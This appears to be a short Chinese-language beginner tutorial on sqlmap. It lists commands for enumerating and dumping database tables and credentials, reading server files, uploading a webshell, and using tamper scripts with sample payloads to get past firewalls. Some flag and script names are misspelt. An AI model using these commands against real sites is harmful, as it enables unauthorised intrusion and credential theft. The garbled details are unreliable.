初次邂逅sqlmap

0x001 小白用法

  • 常用的爆库爆表爆字段
    sqlmap.py -u “url” –dbs 假设爆出的数据库,名为db1
    sqlmap.py -u “url” -D db1 –tables 假设爆出的表为ta1.(ps:假设只有这一个表)
    sqlmap.py -u “url” -D db1 -T ta1 –clomus 假设爆出的字段为 id name pwd 那么你可以这样了
    sqlmap.py -u “url” -D db1 -T ta1 –dump -C “id,name,pwd” 不出意外的话可以出结果了。。。
    当然了,这只是最最简单的用法了。。。
  • 常用参数
    -f 直接指定数据库的类型
    -b 数据库的版本信息
    –current-user 获取当前的用
    –users 列举数据库所有用户
    –isidba 查看是否是dba
    –passwords 数据库用户所有密码
    –privileges 查看用户的权限
    –sql-shell 执行sql命令
    –sql-cmd 执行cmd命令
    –sql-query 执行自定义sql命令 和 –file-read 如果有读权限可以读取服务器的很多信息,比如数据库的配置信息 中间件的配置信息等等 和–file-write配合使用,如果有写权限 可直接上传webshell
    –file-read 如果当前用户有读权限,则可用此读取服务器的配置信息
    –file-write 如果当前用户有些权限,则可执行上传shell(绝对路径)

0x002 tamper绕过浅见

apostrophemask 用utf8代替引号
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
equaltolike 使用like代替等号。
Example:Input: SELECT * FROM users WHERE id=1 Output: SELECT * FROM users WHERE id LIKE 1
greadtest 绕过过滤的’>’ 用GREATEST代替大于号
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.
space2hash 用空格替换为#号 随机字符串 以及换行符
Example:
Input: 1 AND 9227=9227Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
apostrophenullencode 绕过过滤双引号 替换子符和双引号
example
tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
适用于 mysql4.5.0 和5.5 oracle 10g postgresql8.3 8.4 9.0
halfversionedmorekeywords 当数据库为mysql时,绕过防火墙,每个关键字之前添加mysql版本评论
example
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
适用于 mysql<5.1
space2morehash 空格替换为#以及更多的随机字符串 换行符
example
Input: 1 AND 9227=9227 Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
等等了。。。。。。
0XX3 随后再补

你可能感兴趣的:(数据库,sqlmap)